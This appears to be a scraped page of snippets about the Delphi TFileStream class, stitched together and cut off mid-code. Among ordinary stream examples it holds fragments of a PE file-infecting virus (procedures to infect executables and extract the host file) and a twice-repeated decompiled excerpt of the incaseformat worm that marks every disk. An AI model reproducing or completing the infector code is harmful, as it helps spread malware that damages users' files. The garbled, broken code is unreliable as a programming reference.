TFrmUpLoad.btn2Click(Sender: TObject); function ReadFile(fileName:string): TByteDynArray; var fs:TFileStream ; iSize:Int64; begin try fs:=TFileStream.Create(fileName,fmOpenRead); iSize:=fs.Seek
,以备使用 { 将宿主文件从已感染的PE文件中分离出来,以备使用 } procedure ExtractFile(FileName: string); var sStream, dStream: TFileStream ; begin try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0 begin end; 感染 PE 文件 { 感染PE文件 } procedure InfectOneFile(FileName: string); var HdrStream, SrcStream: TFileStream (FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or
TControl Controls or QControls TCriticalSection SyncObjs TField DB TFieldType DB TFileName SysUtils TFileStream
TStream,TFileStream,TMemoryStream和TResourceStream类都可以读写数据流,TStream是所有数据流类的基类,当处理磁盘上的文件时就会用到TFileStream
incaseformat.log LOBYTE(v5) = 1; // 用文件流方式进对每个磁盘创建并留下incaseformat.log标记 *(_DWORD *)v3 = Classes::TFileStream ::TFileStream((Classes::TFileStream *)&off_411E10, v5, v15[0]); ++v18; v3 += 4; --v2
String; var List: TStrings); var FileRec: TSearchrec; Sour, OldFileName, NewFileName: String; fs: TFileStream
incaseformat.log LOBYTE(v5) = 1; // 用文件流方式进对每个磁盘创建并留下incaseformat.log标记 *(_DWORD *)v3 = Classes::TFileStream ::TFileStream((Classes::TFileStream *)&off_411E10, v5, v15[0]); ++v18; v3 += 4; --v2